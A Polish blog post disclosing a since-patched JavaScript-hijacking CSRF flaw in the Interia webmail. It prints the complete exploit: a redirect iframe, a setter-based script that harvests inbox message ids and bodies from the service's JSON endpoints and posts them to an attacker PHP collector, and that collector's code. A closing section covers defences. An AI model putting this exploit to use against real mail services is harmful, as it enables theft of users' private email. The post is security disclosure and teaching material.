Opis luki na stronie poczta.interia.pl

Luka została już załatana, a tym, którzy nie czytali poprzedniego wpisu przypomnę, że poczta.interia.pl była podatna na lukę typu CSRF pozwalającą skopiować wszystkie maile ze skrzynki odbiorczej.
Typ ataku CSRF na który był podatny webmail interii to Javascript Hijacking.
Problem dotyczył najnowszego interfejsu poczty, ale nic nie stało na przeszkodzie, żeby wykorzystać lukę na użytkownikach zalogowanych do starszych wersji systemu:
Użytkownik klikał link prowadzący na złośliwą stronę, a tam znajdował się taki kod:

  1. <html>
  2. <body>
  3. <iframe src="http://poczta.interia.pl/change.html?s=z" width="1" height="1" onload="window.location.href ='funny.html';"></iframe>
  4. </body>
  5. </html>

Dzięki temu przenosiliśmy nieświadomego niczego użytkownika na najnowszy interfejs poczty. Strona funny.html ładowała się, gdy już mieliśmy pewność, że użytkownik jest zalogowany do najnowszego interfejsu. Oto jak wyglądał kod strony:
  1. <html>
  2. <head>
  3. <script src="jquery.min.js">
  4. </script>
  5. <script>
  6. function Object() {
  7. this.__defineSetter__("fromEmail", captureMails);
  8. this.__defineSetter__("body", captureMail);
  9. }
  10.  
  11. function captureMails(x) {
  12. var script = document.createElement('script');
  13. script.src = 'http://poczta.fm.interia.pl/html/optmail,ans,1,folder,1,mesg,'+this.id+',aj,1,opt,r,height,663?inpl_network_request=true';
  14. script.type = 'text/javascript';
  15. script.defer = true;
  16. document.getElementsByTagName('head').item(0).appendChild(script);
  17. }
  18. function captureMail(x){
  19. var t = this;
  20. t.newbody = x;
  21. $.post('capture_mail.php', t, function(){}, "json");
  22. }
  23. </script>
  24. <script src="http://poczta.fm.interia.pl/html/getmails,folder,1,sort,a,sorder,desc?inpl_network_request=true">
  25. </script>
  26. </head>
  27. <body>
  28. There is no movie here :)
  29.  
  30. </body>
  31. </html>

Jeszcze dla rozjaśnienia wkleję co dostawaliśmy pod adresem http://poczta.fm.interia.pl/html/getmails,folder,1,sort,a,sorder,desc?in... :
  1. [
  2. {"no":0,"id":"1_0eZEfD","folderId":"1","fromName":"BOK INTERIA.PL","fromEmail":"bok@firma.interia.pl","subject":"Witaj w gronie u\u017cytkownik\u00f3w portalu INTERIA .PL","date":"2008-03-30 22:37","size":"2,4 kB","seen":true},
  3. {"no":1,"id":"10_2qZVgp","folderId":"1","fromName":"INTERIA.PL \/ Millennium Bank","fromEmail":"mailing@poczta.fm","subject":"Wygraj bilety na UEFA EURO 2008!","date":"2008-03-30 1:00","size":"0,0 kB","seen":true},
  4. {"no":2,"id":"11_1h4lTq","folderId":"1","fromName":"INTERIA.PL \/ Motogielda","fromEmail":"mailing@poczta.fm","subject":"Mamy auta na kazda kieszen!","date":"2008-03-29 9:00","size":"0,0 kB","seen":true},
  5. ]

Spogladając na powyższy kod widzimy tablicę obiektów z informacją o listach w skrzynce odbiorczej. Dzięki temu, że użyto tu tablicy, wszystkie te obiekty ze składni JSON zostaną przekonwertowane na obiekty javascriptu. Wykorzystujemy to w linii 7 w kodzie strony funny.html, ustawiamy tam settera na właściwość fromEmail. Tzn. za każdym razem, gdy ktoś będzie chciał ustawić wartość pola fromEmail zostanie wywołana funkcja captureMails().
W funkcji captureMails mamy dostęp do naszego obiektu, ale tylko do właściwości, które zostały ustawione przed właściwością fromEmail (czyli no,id,folderId,fromName). Nas interesuje właściwie tylko jedna właściwość id w której jest trzymany identyfikator wiadomości. Z jej pomocą ładujemy kolejny skrypt w którym będzie znajdować się treść poszukiwanego maila. Oto jak wygląda przykładowy kod załadowany za pomocą funkcji captureMails():
  1. [{"opt":"r","mid":"1_0eZEfD","fid":"1","height":"882","subject":"Witaj w gronie u\u017cytkownik\u00f3w portalu INTERIA .PL","markMsg":"www.poczta.fm47efff165da9c","from":"bok@firma.interia.pl","cc":"","body":"<pre> > Witaj w gronie U\u017cytkownik\u00f3w portalu INTERIA.PL > > Mamy nadziej\u0119, \u017ce nowe konto spe\u0142ni Twoje oczekiwania w zakresie > sprawnego, wygodnego i bezpiecznego przesy\u0142ania wiadomo\u015bci. B\u0119dziemy > dok\u0142ada\u0107 wszelkich stara\u0144, by zapewni\u0107 jak najlepsz\u0105 jako\u015b\u0107 naszych > us\u0142ug, zar\u00f3wno ju\u017c funkcjonuj\u0105cych jak i wprowadzanych w przysz\u0142o\u015bci. > Posiadaj\u0105c konto w INTERIA.PL, mo\u017cesz w pe\u0142ni korzysta\u0107 z ca\u0142ej gamy > oferowanych przez nas us\u0142ug, pos\u0142uguj\u0105c si\u0119 jednym i tym samym loginem > oraz has\u0142em, zdefiniowanym podczas zak\u0142adania konta. > > Od teraz mo\u017cesz swobodnie: > > - komunikowa\u0107 si\u0119 z innymi, > - stworzy\u0107 prywatn\u0105 stron\u0119 WWW o pojemno\u015bci 12 MB, > - korzysta\u0107 z osobistego organizera, w kt\u00f3rym znajdziesz: terminarz, > akt\u00f3wk\u0119 na pliki, notatnik, kontakty, itd., > - zbudowa\u0107 sw\u00f3j w\u0142asny portal, > - korzysta\u0107, bez \u017cadnych ogranicze\u0144 z serwis\u00f3w personalizowanych, > - dokonywa\u0107 zakup\u00f3w w naszych sklepach, > - bra\u0107 udzia\u0142 we wszystkich konkursach organizowanych przez > INTERIA.PL, > - administrowa\u0107 swoimi danymi osobowymi: strona <a href=\"http:\/\/profil.interia.pl\" target=\"_blank\">http:\/\/profil.interia.pl<\/a> > (tam m.in. znajduj\u0105 si\u0119 wszelkie dane Twojego konta). > > Je\u015bli b\u0119dziesz potrzebowa\u0107 pomocy - zajrzyj na stron\u0119 > <a href=\"http:\/\/poczta.interia.pl\/pomoc\/\" target=\"_blank\">http:\/\/poczta.interia.pl\/pomoc\/<\/a> Poczt\u0119 mo\u017cesz sprawdza\u0107 i wysy\u0142a\u0107 ze > strony <a href=\"http:\/\/poczta.interia.pl\" target=\"_blank\">http:\/\/poczta.interia.pl<\/a>, a tak\u017ce za pomoc\u0105 dowolnego programu > pocztowego (MS Outlook, Netscape Messenger, pine, itp.). > > Jednocze\u015bnie informujemy, \u017ce wszelkie informacje dotycz\u0105ce serwisu > bezp\u0142atnych kont INTERIA.PL b\u0119d\u0105 wysy\u0142ane tylko z nast\u0119puj\u0105cych > \u017ar\u00f3de\u0142: <a href=\"mailto: bok@firma.interia.pl\" onClick=\"parent.Inpl.Mail.Messages.newFrameMsg('bok@firma.interia.pl');\">bok@firma.interia.pl<\/a> oraz <a href=\"mailto: mailing@interia.pl\" onClick=\"parent.Inpl.Mail.Messages.newFrameMsg('mailing@interia.pl');\">mailing@interia.pl<\/a>. > > Je\u017celi masz jakiekolwiek zapytania, uwagi i sugestie, kieruj je na adres > <a href=\"mailto: pomoc@firma.interia.pl\" onClick=\"parent.Inpl.Mail.Messages.newFrameMsg('pomoc@firma.interia.pl');\">pomoc@firma.interia.pl<\/a> > > Apelujemy tak\u017ce, by nigdy nikomu nie udost\u0119pnia\u0107 has\u0142a do konta, > gdy\u017c jest to r\u00f3wnie wa\u017cna i poufna informacja jak numer PIN do karty > kredytowej lub telefonu kom\u00f3rkowego. > > \u017byczymy mi\u0142ego korzystania z naszych us\u0142ug. > > > Dzia\u0142 Obs\u0142ugi Portalu INTERIA.PL > <\/pre>","isHtml":0}]

Znów widzimy tablicę (tylko z jednym elementem) i ustawiamy settera na właściwość body. Funkcja captureMail zostanie wywołana zaraz po załadowaniu się tego skryptu i pobierze ona z argumentu x treść wiadomości, a w obiekcie this będą wszystkie właściwości zadeklarowane wcześniej (tj. subject, from, cc). Korzystając z biblioteki jQuery przesyłamy za pomocą ajaxa obiekt t do skryptu, który go zapisze:
  1. <?
  2. $mail = "<html><head>
  3. <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /></head>
  4. <h1>".$_REQUEST['subject']."</h1>
  5. from: ".$_REQUEST['from']. "<br />
  6. <br />".$_REQUEST['newbody']."<br /><br /><hr />";
  7.  
  8. file_put_contents(md5(time().rand(1,1000)).'.mail.html', $mail);
  9. ?>

I tak oto mogliśmy pobrać listy ze skrzynki odbiorczej atakowanego.
Warto zaznaczyć, że konstrukcja defineSetter działa w tej chwili tylko w Firefoxie 2.0, dlatego pisałem o podatności na lukę około 30% użytkowników. Powyższy atak był przygotowany na domenę poczta.fm (w interii można mieć konto w różnych domenach), ale nic nie stało na przeszkodzie by przeprowadzić atak na innych domenach.

Jak unikać tego typu ataku?

Przede wszystkim jak chcemy wykorzystywać Ajaxa i JSON do komunikowania się z serwerem, pamiętajmy, żeby unikać żądania typu GET, gdyby został zastosowany POST nie można byłoby wykonać ataku.
Można też w odpowiedzi dopisać na samym początku kilka znaków, które zablokują zinterpretowanie tablicy przesyłanej w odpowiedzi np:

  1. while(1);
  2. [{obiekt},{obiekt}]
albo :
  1. /*
  2. [{obiekt},{obiekt}]
  3. */

Wtedy musimy zadbać o usunięcie tych znaków z odpowiedzi w naszym skrypcie i wtedy zinterpretowanie tablicy.
Zachęcam do przeanalizowania jak interia sobie poradziła z załataniem tej luki.
Ciekawe zabezpieczenia możemy znaleźć także na poczta.o2.pl, do każdego żądania dodawany jest dodatkowy nagłówek HTTP, serwer sprawdza czy ten nagłówek jest poprawny i dopiero wtedy zwraca odpowiedź, w przeciwnym wypadku dostajemy błąd 403. Dodatkowo w odpowiedzi także mamy dodatkowe znaki, które skrypt po stronie klienta musi usunąć. Zabezpiecza to podwójnie przed interpretacją odpowiedzi w innej domenie.

Jak przekonuje fortify.com, większość AJAXowych frameworkow domyślnie korzysta z żądania GET, które jest podatne na tego typu atak. Pamiętajmy, więc przy projektowaniu aplikacji AJAXowych, aby przesyłanie wrażliwych danych było odpowiednio zabezpieczone.

Dodaj nową odpowiedź

  • Adresy internetowe są automatycznie zamieniane w klikalne odnośniki.
  • Dozwolone znaczniki HTML: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <h2> <h3> <h4>>
  • Znaki końca linii i akapitu dodawane są automatycznie.
  • You can enable syntax highlighting of source code with the following tags: <code>, <blockcode>, <codehtml>, <javascript>, <php>. Beside the tag style "<foo>" it is also possible to use "[foo]".

Więcej informacji na temat formatowania

CAPTCHA
Zabezpieczenie przed spamem (dla niezarejestrowanych użytkowników) występują tylko małe litery (bez cyfr)
        ___       _   _     
_ /'___) ( ) ( )
(_) | (__ _| | | |/')
| | | ,__) /'_` | | , <
| | | | ( (_| | | |\`\
(_) (_) `\__,_) (_) (_)

Enter the code depicted in ASCII art style.

Logowanie